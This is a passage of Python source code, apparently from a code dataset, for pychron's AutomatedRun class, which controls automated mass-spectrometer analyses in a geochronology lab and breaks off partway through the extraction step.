source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
automated_run.py | # ===============================================================================
# Copyright 2011 Jake Ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ===============================================================================
# # ============= enthought library imports =======================
import ast
import importlib
import os
import re
import time
import weakref
from pprint import pformat
from threading import Event as TEvent, Thread
from numpy import Inf, polyfit, linspace, polyval
from traits.api import (
Any,
Str,
List,
Property,
Event,
Instance,
Bool,
HasTraits,
Float,
Int,
Long,
Tuple,
Dict,
)
from traits.trait_errors import TraitError
from pychron.core.helpers.filetools import add_extension
from pychron.core.helpers.filetools import get_path
from pychron.core.helpers.iterfuncs import groupby_key
from pychron.core.helpers.strtools import to_bool
from pychron.core.ui.gui import invoke_in_main_thread
from pychron.core.ui.preference_binding import set_preference
# from pychron.core.ui.thread import Thread
from pychron.core.yaml import yload
from pychron.experiment import ExtractionException
from pychron.experiment.automated_run.hop_util import parse_hops
from pychron.experiment.automated_run.persistence_spec import PersistenceSpec
from pychron.experiment.conditional.conditional import (
TruncationConditional,
ActionConditional,
TerminationConditional,
conditional_from_dict,
CancelationConditional,
conditionals_from_file,
QueueModificationConditional,
EquilibrationConditional,
)
from pychron.experiment.plot_panel import PlotPanel
from pychron.experiment.utilities.conditionals import (
test_queue_conditionals_name,
QUEUE,
SYSTEM,
RUN,
)
from pychron.experiment.utilities.environmentals import set_environmentals
from pychron.experiment.utilities.identifier import convert_identifier
from pychron.experiment.utilities.script import assemble_script_blob
from pychron.globals import globalv
from pychron.loggable import Loggable
from pychron.paths import paths
from pychron.pychron_constants import (
NULL_STR,
MEASUREMENT_COLOR,
EXTRACTION_COLOR,
SCRIPT_KEYS,
AR_AR,
NO_BLANK_CORRECT,
EXTRACTION,
MEASUREMENT,
EM_SCRIPT_KEYS,
SCRIPT_NAMES,
POST_MEASUREMENT,
POST_EQUILIBRATION,
FAILED,
TRUNCATED,
SUCCESS,
CANCELED,
)
from pychron.spectrometer.base_spectrometer import NoIntensityChange
from pychron.spectrometer.isotopx.manager.ngx import NGXSpectrometerManager
from pychron.spectrometer.pfeiffer.manager.quadera import QuaderaSpectrometerManager
from pychron.spectrometer.thermo.manager.base import ThermoSpectrometerManager
DEBUG = False
class ScriptInfo(HasTraits):
measurement_script_name = Str
extraction_script_name = Str
post_measurement_script_name = Str
post_equilibration_script_name = Str
SCRIPTS = {}
WARNED_SCRIPTS = []
class AutomatedRun(Loggable):
"""
The ``AutomatedRun`` object is used to execute automated analyses.
It mostly delegates responisbility to other objects.
It provides an interface for ``MeasurementPyscripts``.
All measurement script commands have a corresponding function defined here.
A commands corresponding function is defined as py_{function_name}
for example ``position_magnet`` calls ``AutomatedRun.py_position_magnet``
data collection is handled by either ``MultiCollector`` or ``PeakHopCollector``
persistence (saving to file and database) is handled by ``AutomatedRunPersister``
An automated run is executed in four steps by the ``ExperimentExecutor``.
#. start
#. extraction
#. measurement
a. equilibration
b. post_equilibration
#. post_measurement
equilibration and post_equilibration are executed concurrently with the measurement script
this way equilibration gas can be measured.
four pyscripts (all optional) are used to program analysis execution
1. extraction
2. measurement
3. post_equilibration
4. post_measurement
four types of conditionals are available
1. termination_conditionals
2. truncation_conditionals
3. action_conditionals
4. cancelation_conditionals
"""
spectrometer_manager = Any
extraction_line_manager = Any
# experiment_executor = Any
ion_optics_manager = Any
multi_collector = Instance(
"pychron.experiment.automated_run.multi_collector.MultiCollector"
)
peak_hop_collector = Instance(
"pychron.experiment.automated_run.peak_hop_collector.PeakHopCollector"
)
persister = Instance(
"pychron.experiment.automated_run.persistence.AutomatedRunPersister", ()
)
dvc_persister = Instance("pychron.dvc.dvc_persister.DVCPersister")
labspy_client = Instance("pychron.labspy.client.LabspyClient")
xls_persister = Instance(
"pychron.experiment.automated_run.persistence.ExcelPersister"
)
collector = Property
script_info = Instance(ScriptInfo, ())
runner = Any
monitor = Any
plot_panel = Any
isotope_group = Instance("pychron.processing.isotope_group.IsotopeGroup")
spec = Any
runid = Str
uuid = Str
analysis_id = Long
fits = List
eqtime = Float
use_syn_extraction = Bool(False)
is_first = Bool(False)
is_last = Bool(False)
is_peak_hop = Bool(False)
truncated = Bool
measuring = Bool(False)
dirty = Bool(False)
update = Event
use_db_persistence = Bool(True)
use_dvc_persistence = Bool(False)
use_xls_persistence = Bool(False)
measurement_script = Instance(
"pychron.pyscripts.measurement_pyscript.MeasurementPyScript"
)
post_measurement_script = Instance(
"pychron.pyscripts.extraction_line_pyscript.ExtractionPyScript"
)
post_equilibration_script = Instance(
"pychron.pyscripts.extraction_line_pyscript.ExtractionPyScript"
)
extraction_script = Instance(
"pychron.pyscripts.extraction_line_pyscript.ExtractionPyScript"
)
termination_conditionals = List
truncation_conditionals = List
equilibration_conditionals = List
action_conditionals = List
cancelation_conditionals = List
modification_conditionals = List
pre_run_termination_conditionals = List
post_run_termination_conditionals = List
tripped_conditional = Instance(
"pychron.experiment.conditional.conditional.BaseConditional"
)
peak_center = None
coincidence_scan = None
info_color = None
signal_color = None
baseline_color = None
executor_event = Event
ms_pumptime_start = None
previous_blanks = Tuple
previous_baselines = Dict
_active_detectors = List
_peak_center_detectors = List
_loaded = False
_measured = False
_aborted = False
_alive = Bool(False)
_truncate_signal = Bool
_equilibration_done = False
_integration_seconds = Float(1.1)
min_ms_pumptime = Int(60)
overlap_evt = None
use_peak_center_threshold = Bool
peak_center_threshold = Float(3)
peak_center_threshold_window = Int(10)
persistence_spec = Instance(PersistenceSpec)
experiment_type = Str(AR_AR)
laboratory = Str
instrument_name = Str
intensity_scalar = Float
_intensities = None
log_path = Str
failed_intensity_count_threshold = Int(3)
use_equilibration_analysis = Bool(False)
def set_preferences(self, preferences):
self.debug("set preferences")
for attr, cast in (
("experiment_type", str),
("laboratory", str),
("instrument_name", str),
("use_equilibration_analysis", to_bool),
("use_peak_center_threshold", to_bool),
("peak_center_threshold", float),
("peak_center_threshold_window", int),
("failed_intensity_count_threshold", int),
):
set_preference(
preferences, self, attr, "pychron.experiment.{}".format(attr), cast
)
for p in (self.persister, self.xls_persister, self.dvc_persister):
if p is not None:
p.set_preferences(preferences)
self.multi_collector.console_set_preferences(preferences, "pychron.experiment")
self.peak_hop_collector.console_set_preferences(
preferences, "pychron.experiment"
)
# ===============================================================================
# pyscript interface
# ===============================================================================
def py_measure(self):
return self.spectrometer_manager.measure()
def py_get_intensity(self, detector):
if self._intensities:
try:
idx = self._intensities["tags"].index(detector)
except ValueError:
return
return self._intensities["signals"][idx]
def py_set_intensity_scalar(self, v):
self.intensity_scalar = v
return True
def py_set_isotope_group(self, name):
if self.plot_panel:
self.plot_panel.add_isotope_graph(name)
def py_generate_ic_mftable(self, detectors, refiso, peak_center_config=None, n=1):
return self._generate_ic_mftable(detectors, refiso, peak_center_config, n)
def py_whiff(
self, ncounts, conditionals, starttime, starttime_offset, series=0, fit_series=0
):
return self._whiff(
ncounts, conditionals, starttime, starttime_offset, series, fit_series
)
def py_reset_data(self):
self.debug("reset data")
self._persister_action("pre_measurement_save")
def py_clear_cached_configuration(self):
self.spectrometer_manager.spectrometer.clear_cached_config()
def py_send_spectrometer_configuration(self):
self.spectrometer_manager.spectrometer.send_configuration()
def py_reload_mftable(self):
self.spectrometer_manager.spectrometer.reload_mftable()
def py_set_integration_time(self, v):
self.set_integration_time(v)
def py_is_last_run(self):
return self.is_last
def py_define_detectors(self, isotope, det):
self._define_detectors(isotope, det)
def py_position_hv(self, pos, detector):
self._set_hv_position(pos, detector)
def py_position_magnet(self, pos, detector, use_dac=False, for_collection=True):
if not self._alive:
return
self._set_magnet_position(
pos, detector, use_dac=use_dac, for_collection=for_collection
)
def py_activate_detectors(self, dets, peak_center=False):
if not self._alive:
return
if not self.spectrometer_manager:
self.warning("no spectrometer manager")
return
if peak_center:
self._peak_center_detectors = self._set_active_detectors(dets)
else:
self._activate_detectors(dets)
def py_set_fits(self, fits):
isotopes = self.isotope_group.isotopes
if not fits:
fits = self._get_default_fits()
elif len(fits) == 1:
fits = {i: fits[0] for i in isotopes}
else:
fits = dict([f.split(":") for f in fits])
g = self.plot_panel.isotope_graph
for k, iso in isotopes.items():
try:
fi = fits[k]
except KeyError:
try:
fi = fits[iso.name]
except KeyError:
try:
fi = fits["{}{}".format(iso.name, iso.detector)]
except KeyError:
fi = "linear"
self.warning(
'No fit for "{}". defaulting to {}. '
'check the measurement script "{}"'.format(
k, fi, self.measurement_script.name
)
)
iso.set_fit_blocks(fi)
self.debug('set "{}" to "{}"'.format(k, fi))
idx = self._get_plot_id_by_ytitle(g, k, iso)
if idx is not None:
g.set_regressor(iso.regressor, idx)
def py_set_baseline_fits(self, fits):
if not fits:
fits = self._get_default_fits(is_baseline=True)
elif len(fits) == 1:
fits = {i.detector: fits[0] for i in self.isotope_group.values()}
elif isinstance(fits, str):
fits = {i.detector: fits for i in self.isotope_group.values()}
else:
fits = dict([f.split(":") for f in fits])
for k, iso in self.isotope_group.items():
try:
fi = fits[iso.detector]
except KeyError:
fi = ("average", "SEM")
self.warning(
'No fit for "{}". defaulting to {}. '
'check the measurement script "{}"'.format(
iso.detector, fi, self.measurement_script.name
)
)
iso.baseline.set_fit_blocks(fi)
self.debug('set "{}" to "{}"'.format(iso.detector, fi))
def py_get_spectrometer_parameter(self, name):
self.info("getting spectrometer parameter {}".format(name))
if self.spectrometer_manager:
return self.spectrometer_manager.spectrometer.get_parameter(name)
def py_set_spectrometer_parameter(self, name, v):
self.info("setting spectrometer parameter {} {}".format(name, v))
if self.spectrometer_manager:
self.spectrometer_manager.spectrometer.set_parameter(name, v)
def py_raw_spectrometer_command(self, cmd):
if self.spectrometer_manager:
self.spectrometer_manager.spectrometer.ask(cmd)
def py_data_collection(
self,
obj,
ncounts,
starttime,
starttime_offset,
series=0,
fit_series=0,
group="signal",
integration_time=None,
):
if not self._alive:
return
if self.plot_panel:
self.plot_panel.is_baseline = False
self.plot_panel.show_isotope_graph()
self.persister.build_tables(group, self._active_detectors, ncounts)
self.multi_collector.is_baseline = False
self.multi_collector.fit_series_idx = fit_series
check_conditionals = obj == self.measurement_script
if integration_time:
self.set_integration_time(integration_time)
result = self._measure(
group,
self.persister.get_data_writer(group),
ncounts,
starttime,
starttime_offset,
series,
check_conditionals,
self.signal_color,
obj,
)
return result
def py_post_equilibration(self, **kw):
self.do_post_equilibration(**kw)
_equilibration_thread = None
_equilibration_evt = None
def py_equilibration(
self,
eqtime=None,
inlet=None,
outlet=None,
do_post_equilibration=True,
close_inlet=True,
delay=None,
):
# evt = TEvent()
# if not self._alive:
# evt.set()
# return evt
self.heading("Equilibration Started")
inlet = self._convert_valve(inlet)
outlet = self._convert_valve(outlet)
elm = self.extraction_line_manager
if elm:
if outlet:
# close mass spec ion pump
for o in outlet:
for i in range(3):
ok, changed = elm.close_valve(o, mode="script")
if ok:
break
else:
time.sleep(0.1)
else:
from pychron.core.ui.gui import invoke_in_main_thread
invoke_in_main_thread(
self.warning_dialog,
'Equilibration: Failed to Close "{}"'.format(o),
)
self.cancel_run(do_post_equilibration=False)
return
if inlet:
self.debug(
"waiting {}s before opening inlet value {}".format(delay, inlet)
)
# evt.wait(delay)
time.sleep(delay)
self.debug("delay completed")
# open inlet
for i in inlet:
for j in range(3):
ok, changed = elm.open_valve(i, mode="script")
if ok:
break
else:
time.sleep(0.5)
else:
from pychron.core.ui.gui import invoke_in_main_thread
invoke_in_main_thread(
self.warning_dialog,
'Equilibration: Failed to Open "{}"'.format(i),
)
self.cancel_run(do_post_equilibration=False)
return
# set the passed in event
# evt.set()
self._equilibration_thread = Thread(
name="equilibration",
target=self._equilibrate,
args=(None,),
kwargs=dict(
eqtime=eqtime,
inlet=inlet,
outlet=outlet,
delay=delay,
close_inlet=close_inlet,
do_post_equilibration=do_post_equilibration,
),
)
self._equilibration_thread.start()
return True
# self._equilibration_evt = evt
# return evt
def py_sniff(self, ncounts, starttime, starttime_offset, series=0, block=True):
if block:
return self._sniff(ncounts, starttime, starttime_offset, series)
else:
t = Thread(
target=self._sniff,
name="sniff",
args=(ncounts, starttime, starttime_offset, series),
)
# t.setDaemon(True)
t.start()
return True
def py_baselines(
self,
ncounts,
starttime,
starttime_offset,
mass,
detector,
series=0,
fit_series=0,
settling_time=4,
integration_time=None,
use_dac=False,
check_conditionals=True,
):
if not self._alive:
return
gn = "baseline"
self.debug("%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Baseline")
self.persister.build_tables(gn, self._active_detectors, ncounts)
ion = self.ion_optics_manager
if mass:
if ion is not None:
if detector is None:
detector = self._active_detectors[0].name
ion.position(mass, detector, use_dac=use_dac)
msg = "Delaying {}s for detectors to settle".format(settling_time)
self.info(msg)
if self.plot_panel:
self.plot_panel.total_counts += settling_time
self.plot_panel.total_seconds += settling_time
self.wait(settling_time, msg)
if self.plot_panel:
# self.plot_panel.set_ncounts(ncounts)
self.plot_panel.is_baseline = True
self.plot_panel.show_baseline_graph()
self.multi_collector.is_baseline = True
self.multi_collector.fit_series_idx = fit_series
self.collector.for_peak_hop = self.plot_panel.is_peak_hop
self.plot_panel.is_peak_hop = False
if integration_time:
self.set_integration_time(integration_time)
result = self._measure(
gn,
self.persister.get_data_writer(gn),
ncounts,
starttime,
starttime_offset,
series,
check_conditionals,
self.baseline_color,
)
if self.plot_panel:
self.plot_panel.is_baseline = False
self.multi_collector.is_baseline = False
return result
def py_define_hops(self, hopstr):
"""
set the detector each isotope
add additional isotopes and associated plots if necessary
"""
if self.plot_panel is None:
self.plot_panel = self._new_plot_panel(
self.plot_panel, stack_order="top_to_bottom"
)
self.plot_panel.is_peak_hop = True
a = self.isotope_group
g = self.plot_panel.isotope_graph
g.clear()
self.measurement_script.reset_series()
hops = parse_hops(hopstr, ret="iso,det,is_baseline")
for iso, det, is_baseline in hops:
if is_baseline:
continue
name = iso
if name in a.isotopes:
ii = a.isotopes[name]
if ii.detector != det:
name = "{}{}".format(iso, det)
ii = a.isotope_factory(name=iso, detector=det)
else:
ii = a.isotope_factory(name=name, detector=det)
pid = self._get_plot_id_by_ytitle(g, name)
if pid is None:
plot = self.plot_panel.new_isotope_plot()
pid = g.plots.index(plot)
else:
plot = g.plots[pid]
plot.y_axis.title = name
g.set_regressor(ii.regressor, pid)
a.isotopes[name] = ii
self._load_previous()
self.plot_panel.analysis_view.load(self)
# map_mass = self.spectrometer_manager.spectrometer.map_mass
# hops = [(map_mass(hi[0]),) + tuple(hi) for hi in hops]
#
# for mass, dets in groupby_key(hops, key=itemgetter(0), reverse=True):
# dets = list(dets)
# iso = dets[0][1]
# if dets[0][3]:
# continue
#
# for _, _, di, _ in dets:
# self._add_active_detector(di)
# name = iso
# if iso in a.isotopes:
# ii = a.isotopes[iso]
# if ii.detector != di:
# name = '{}{}'.format(iso, di)
# ii = a.isotope_factory(name=name, detector=di)
# else:
# ii = a.isotope_factory(name=iso, detector=di)
#
# pid = self._get_plot_id_by_ytitle(g, ii, di)
# if pid is None:
# plots = self.plot_panel.new_isotope_plot()
# plot = plots['isotope']
# pid = g.plots.index(plot)
#
# # this line causes and issue when trying to plot the sniff on the isotope graph
# # g.new_series(type='scatter', fit='linear', plotid=pid)
#
# g.set_regressor(ii.regressor, pid)
# a.isotopes[name] = ii
# plot.y_axis.title = name
#
# self._load_previous()
#
# self.plot_panel.analysis_view.load(self)
def py_peak_hop(
self,
cycles,
counts,
hops,
mftable,
starttime,
starttime_offset,
series=0,
fit_series=0,
group="signal",
):
if not self._alive:
return
with self.ion_optics_manager.mftable_ctx(mftable):
is_baseline = False
self.peak_hop_collector.is_baseline = is_baseline
self.peak_hop_collector.fit_series_idx = fit_series
if self.plot_panel:
self.plot_panel.trait_set(
is_baseline=is_baseline, _ncycles=cycles, hops=hops
)
self.plot_panel.show_isotope_graph()
# required for mass spec
self.persister.save_as_peak_hop = True
self.is_peak_hop = True
check_conditionals = True
self._add_conditionals()
ret = self._peak_hop(
cycles,
counts,
hops,
group,
starttime,
starttime_offset,
series,
check_conditionals,
)
self.is_peak_hop = False
return ret
def py_peak_center(
self,
detector=None,
save=True,
isotope=None,
directions="Increase",
config_name="default",
check_intensity=None,
peak_center_threshold=None,
peak_center_threshold_window=None,
**kw
):
if not self._alive:
return
if check_intensity is None:
check_intensity = self.use_peak_center_threshold
if peak_center_threshold is None:
peak_center_threshold = self.peak_center_threshold
if peak_center_threshold_window is None:
peak_center_threshold_window = self.peak_center_threshold_window
ion = self.ion_optics_manager
if ion is not None:
if self.isotope_group and check_intensity:
iso = self.isotope_group.get_isotope(isotope, detector)
if iso:
ys = iso.ys[-peak_center_threshold_window:]
ym = ys.mean()
self.debug(
"peak center: mean={} threshold={}".format(
ym, self.peak_center_threshold
)
)
if ym < peak_center_threshold:
self.warning(
"Skipping peak center. intensities too small. {}<{}".format(
ym, self.peak_center_threshold
)
)
return
else:
self.debug(
'No isotope="{}", Det="{}" in isotope group. {}'.format(
isotope, detector, self.isotope_group.isotope_keys
)
)
if not self.plot_panel:
p = self._new_plot_panel(self.plot_panel, stack_order="top_to_bottom")
self.plot_panel = p
self.debug("peak center started")
ad = [di.name for di in self._peak_center_detectors if di.name != detector]
pc = ion.setup_peak_center(
detector=[detector] + ad,
plot_panel=self.plot_panel,
isotope=isotope,
directions=directions,
config_name=config_name,
use_configuration_dac=False,
**kw
)
self.peak_center = pc
self.debug("do peak center. {}".format(pc))
ion.do_peak_center(
new_thread=False,
save=save,
message="automated run peakcenter",
timeout=300,
)
self._update_persister_spec(peak_center=pc)
if pc.result:
self.persister.save_peak_center_to_file(pc)
def py_coincidence_scan(self):
pass
# sm = self.spectrometer_manager
# obj, t = sm.do_coincidence_scan()
# self.coincidence_scan = obj
# t.join()
# ===============================================================================
# conditionals
# ===============================================================================
def py_add_cancelation(self, **kw):
"""
cancel experiment if teststr evaluates to true
"""
self._conditional_appender(
"cancelation",
kw,
CancelationConditional,
level=RUN,
location=self.measurement_script.name,
)
def py_add_action(self, **kw):
"""
attr must be an attribute of arar_age
perform a specified action if teststr evaluates to true
"""
self._conditional_appender(
"action",
kw,
ActionConditional,
level=RUN,
location=self.measurement_script.name,
)
def py_add_termination(self, **kw):
"""
attr must be an attribute of arar_age
terminate run and continue experiment if teststr evaluates to true
"""
self._conditional_appender(
"termination",
kw,
TerminationConditional,
level=RUN,
location=self.measurement_script.name,
)
def py_add_truncation(self, **kw):
"""
attr must be an attribute of arar_age
truncate measurement and continue run if teststr evaluates to true
default kw:
attr='', comp='',start_count=50, frequency=5,
abbreviated_count_ratio=1.0
"""
self._conditional_appender(
"truncation",
kw,
TruncationConditional,
level=RUN,
location=self.measurement_script.name,
)
def py_clear_conditionals(self):
self.debug("$$$$$ Clearing conditionals")
self.py_clear_terminations()
self.py_clear_truncations()
self.py_clear_actions()
self.py_clear_cancelations()
def py_clear_cancelations(self):
self.cancelation_conditionals = []
def py_clear_terminations(self):
self.termination_conditionals = []
def py_clear_truncations(self):
self.truncation_conditionals = []
def py_clear_actions(self):
self.action_conditionals = []
def py_clear_modifications(self):
self.modification_conditionals = []
# ===============================================================================
# run termination
# ===============================================================================
def set_end_after(self):
self.is_last = True
self.executor_event = {"kind": "end_after"}
def abort_run(self, do_post_equilibration=True):
self._aborted = True
self.debug("Abort run do_post_equilibration={}".format(do_post_equilibration))
self._persister_action("trait_set", save_enabled=False)
for s in EM_SCRIPT_KEYS:
script = getattr(self, "{}_script".format(s))
if script is not None:
script.abort()
if self.peak_center:
self.debug("cancel peak center")
self.peak_center.cancel()
self.do_post_termination(do_post_equilibration=do_post_equilibration)
self.finish()
if self.spec.state != "not run":
self.spec.state = "aborted"
self.experiment_queue.refresh_table_needed = True
def cancel_run(self, state="canceled", do_post_equilibration=True):
"""
terminate the measurement script immediately
do post termination
post_eq and post_meas
don't save run
"""
self.debug(
"Cancel run state={} do_post_equilibration={}".format(
state, do_post_equilibration
)
)
self.collector.canceled = True
self._persister_action("trait_set", save_enabled=False)
for s in EM_SCRIPT_KEYS:
script = getattr(self, "{}_script".format(s))
if script is not None:
script.cancel()
if self.peak_center:
self.debug("cancel peak center")
self.peak_center.cancel()
if self.spectrometer_manager:
self.spectrometer_manager.spectrometer.cancel()
self.do_post_termination(do_post_equilibration=do_post_equilibration)
self.finish()
if state:
if self.spec.state != "not run":
self.spec.state = state
self.experiment_queue.refresh_table_needed = True
def truncate_run(self, style="normal"):
"""
truncate the measurement script
style:
normal- truncate current measure iteration and continue
quick- truncate current measure iteration use truncated_counts for following
measure iterations
"""
if self.measuring:
style = style.lower()
if style == "normal":
self.measurement_script.truncate("normal")
elif style == "quick":
self.measurement_script.truncate("quick")
self.collector.set_truncated()
self.truncated = True
self.spec.state = "truncated"
self.experiment_queue.refresh_table_needed = True
# ===============================================================================
#
# ===============================================================================
def show_conditionals(self, tripped=None):
self.tripped_conditional = tripped
self.executor_event = {"kind": "show_conditionals", "tripped": tripped}
def teardown(self):
self.debug("tear down")
if self.measurement_script:
self.measurement_script.automated_run = None
if self.extraction_script:
self.extraction_script.automated_run = None
if self.collector:
self.collector.automated_run = None
# if self.plot_panel:
# self.plot_panel.automated_run = None
self._persister_action("trait_set", persistence_spec=None, monitor=None)
def finish(self):
self.debug("----------------- finish -----------------")
if self.monitor:
self.monitor.stop()
if self.spec:
if self.spec.state not in (
"not run",
CANCELED,
SUCCESS,
TRUNCATED,
"aborted",
):
self.spec.state = FAILED
self.experiment_queue.refresh_table_needed = True
self.spectrometer_manager.spectrometer.active_detectors = []
self.stop()
def stop(self):
self.debug("----------------- stop -----------------")
self._alive = False
self.collector.stop()
def start(self):
self.debug("----------------- start -----------------")
self._aborted = False
self.persistence_spec = PersistenceSpec()
for p in (self.persister, self.xls_persister, self.dvc_persister):
if p is not None:
p.per_spec = self.persistence_spec
if self.monitor is None:
return self._start()
if self.monitor.monitor():
try:
return self._start()
except AttributeError as e:
self.warning("failed starting run: {}".format(e))
else:
self.warning("failed to start monitor")
def is_alive(self):
return self._alive
def heading(self, msg, color=None, *args, **kw):
super(AutomatedRun, self).info(msg, *args, **kw)
if color is None:
color = self.info_color
if color is None:
color = "light green"
self.executor_event = {
"kind": "heading",
"message": msg,
"color": color,
"log": False,
}
def info(self, msg, color=None, *args, **kw):
super(AutomatedRun, self).info(msg, *args, **kw)
if color is None:
color = self.info_color
if color is None:
color = "light green"
self.executor_event = {
"kind": "info",
"message": msg,
"color": color,
"log": False,
}
def get_interpolation_value(self, value):
"""
value is a string in the format of $VALUE. Search for VALUE first in the options file
then in the extraction scripts metadata
:param value:
:return:
"""
v = None
if self.extraction_script:
for vv in (value, value.upper(), value.lower()):
try:
v = getattr(self.extraction_script, vv)
except AttributeError:
v = self._get_extraction_parameter(vv, None)
if v is None:
continue
break
if v is None:
self.warning(
"Could not interpolate {}. Make sure value is defined in either the options file"
"or embedded in the extraction scripts metadata. Defaulting to 0".format(
value
)
)
v = 0
return v
def get_ratio(self, r, non_ic_corr=True):
if self.isotope_group:
return self.isotope_group.get_ratio(r, non_ic_corr=non_ic_corr)
def get_reference_peakcenter_result(self):
if self.persistence_spec:
pc = self.persistence_spec.peak_center
if pc:
rn = pc.reference_detector.name
return pc.get_result(rn)
def get_device_value(self, dev_name):
return self.extraction_line_manager.get_device_value(dev_name)
def get_pressure(self, attr):
controller, name = attr.split(".")
return self.extraction_line_manager.get_pressure(controller, name)
def get_deflection(self, det, current=False):
return self.spectrometer_manager.spectrometer.get_deflection(det, current)
def get_detector(self, det):
return self.spectrometer_manager.spectrometer.get_detector(det)
def set_integration_time(self, v):
spectrometer = self.spectrometer_manager.spectrometer
nv = spectrometer.set_integration_time(v, force=True)
self._integration_seconds = nv
def set_magnet_position(self, *args, **kw):
return self._set_magnet_position(*args, **kw)
def set_deflection(self, det, defl):
self.spectrometer_manager.set_deflection(det, defl)
def protect_detector(self, det, protect):
self.spectrometer_manager.protect_detector(det, protect)
def wait(self, t, msg=""):
self.executor_event = {"kind": "wait", "duration": t, "message": msg}
def wait_for_overlap(self):
"""
by default overlap_evt is set
after equilibration finished
"""
self.info("waiting for overlap signal")
self._alive = True
self.overlap_evt = evt = TEvent()
evt.clear()
i = 1
st = time.time()
while self._alive and not evt.is_set():
time.sleep(1)
if i % 5 == 0:
et = time.time() - st
self.debug(
"waiting for overlap signal. elapsed time={:0.2f}".format(et)
)
i = 0
i += 1
if not self._alive:
return
self.info("overlap signal set")
overlap, mp = self.spec.overlap
self.info("starting overlap delay {}".format(overlap))
starttime = time.time()
i = 1
while self._alive:
et = time.time() - starttime
if et > overlap:
break
time.sleep(1.0)
if i % 50 == 0:
self.debug(
"waiting overlap delay {}. elapsed time={:0.2f}".format(overlap, et)
)
i = 0
i += 1
def post_finish(self):
if self.use_dvc_persistence:
if self.log_path:
self.dvc_persister.save_run_log_file(self.log_path)
else:
self.debug("no log path to save")
def save(self):
self.debug(
"post measurement save measured={} aborted={}".format(
self._measured, self._aborted
)
)
if self._measured and not self._aborted:
# set filtering
self._set_filtering()
conds = (
self.termination_conditionals,
self.truncation_conditionals,
self.action_conditionals,
self.cancelation_conditionals,
self.modification_conditionals,
self.equilibration_conditionals,
)
env = self._get_environmentals()
if env:
set_environmentals(self.spec, env)
tag = "ok"
if self.spec.state in (CANCELED, FAILED):
tag = self.spec.state
self._update_persister_spec(
active_detectors=self._active_detectors,
conditionals=[c for cond in conds for c in cond],
tag=tag,
tripped_conditional=self.tripped_conditional,
**env
)
# save to database
self._persister_save_action("post_measurement_save")
self.spec.new_result(self)
if self.plot_panel:
self.plot_panel.analysis_view.refresh_needed = True
if self.persister.secondary_database_fail:
self.executor_event = {
"kind": "cancel",
"cancel_run": True,
"msg": self.persister.secondary_database_fail,
}
else:
return True
else:
return True
# ===============================================================================
# setup
# ===============================================================================
def setup_persister(self):
sens = self._get_extraction_parameter("sensitivity_multiplier", default=1)
# setup persister. mirror a few of AutomatedRunsAttributes
script_name, script_blob = self._assemble_script_blob()
eqn, eqb = "", ""
queue = self.experiment_queue
eqn = queue.name
auto_save_detector_ic = queue.auto_save_detector_ic
self.debug(
"$$$$$$$$$$$$$$$ auto_save_detector_ic={}".format(auto_save_detector_ic)
)
ext_name, ext_blob = "", ""
if self.extraction_script:
ext_name = self.extraction_script.name
ext_blob = self._assemble_extraction_blob()
ms_name, ms_blob, sfods, bsfods = "", "", {}, {}
hops_name, hops_blob = "", ""
if self.measurement_script:
ms_name = self.measurement_script.name
ms_blob = self.measurement_script.toblob()
hops_name = self.measurement_script.hops_name
hops_blob = self.measurement_script.hops_blob
sfods, bsfods = self._get_default_fods()
pe_name, pe_blob = "", ""
if self.post_equilibration_script:
pe_name = self.post_equilibration_script.name
pe_blob = self.post_equilibration_script.toblob()
pm_name, pm_blob = "", ""
if self.post_measurement_script:
pm_name = self.post_measurement_script.name
pm_blob = self.post_measurement_script.toblob()
ext_pos = []
if self.extraction_script:
ext_pos = self.extraction_script.get_extraction_positions()
self._update_persister_spec(
save_as_peak_hop=False,
run_spec=self.spec,
isotope_group=self.isotope_group,
positions=self.spec.get_position_list(),
auto_save_detector_ic=auto_save_detector_ic,
extraction_positions=ext_pos,
sensitivity_multiplier=sens,
experiment_type=self.experiment_type,
experiment_queue_name=eqn,
experiment_queue_blob=eqb,
extraction_name=ext_name,
extraction_blob=ext_blob,
measurement_name=ms_name,
measurement_blob=ms_blob,
post_measurement_name=pm_name,
post_measurement_blob=pm_blob,
post_equilibration_name=pe_name,
post_equilibration_blob=pe_blob,
hops_name=hops_name,
hops_blob=hops_blob,
runscript_name=script_name,
runscript_blob=script_blob,
signal_fods=sfods,
baseline_fods=bsfods,
intensity_scalar=self.intensity_scalar,
laboratory=self.laboratory,
instrument_name=self.instrument_name,
)
# ===============================================================================
# doers
# ===============================================================================
def start_extraction(self):
return self._start_script(EXTRACTION)
def start_measurement(self):
return self._start_script(MEASUREMENT)
def do_extraction(self):
self.debug("do extraction")
self._persister_action("pre_extraction_save")
self.info_color = EXTRACTION_COLOR
script = self.extraction_script
msg = "Extraction Started {}".format(script.name)
self.heading("{}".format(msg))
self.spec.state = "extraction"
self.experiment_queue.refresh_table_needed = True
self.debug("DO EXTRACTION {}".format(self.runner))
script.set_run_identifier(self.runid)
queue = self.experiment_queue
script.set_load_identifier(queue.load_name)
syn_extractor = None
if script.syntax_ok(warn=False):
if self.use_syn_extraction and self.spec.syn_extraction:
p = os.path.join(
paths.scripts_dir, "syn_extraction", self.spec.syn_extraction
)
p = add_extension(p, ".yaml")
if os.path.isfile(p):
from pychron.experiment.automated_run.syn_extraction import (
SynExtractionCollector,
)
dur = script.calculate_estimated_duration(force=True)
syn_extractor = SynExtractionCollector(
arun=weakref.ref(self)(), path=p, extraction_duration=dur
)
syn_extractor.start()
else:
self.warning(
"Cannot start syn extraction collection. Configuration file does not exist. {}".format(
p
)
)
else:
self.warning('Invalid script syntax for "{}"'.format(script.name))
return
try:
ex_result = script.execute()
except ExtractionException as e:
ex_result = False
self.debug("extraction exception={}".format(e))
if ex_result:
if syn_extractor:
syn_extractor.stop()
# report the extraction results
ach, req = script.output_achieved()
self.info("Requested Output= {:0.3f}".format(req))
self.info("Achieved Output= {:0.3f}".format(ach))
rblob = script.get_response_blob()
oblob = script.get_output_blob()
sblob = script.get_setpoint_blob()
snapshots = script.snapshots
videos = script.videos
extraction_context = script.extraction_context
grain_polygons = script.get_grain_polygons() or []
self.debug("grain polygons n={}".format(len(grain_polygons)))
ext_pos = script.get_extraction_positions()
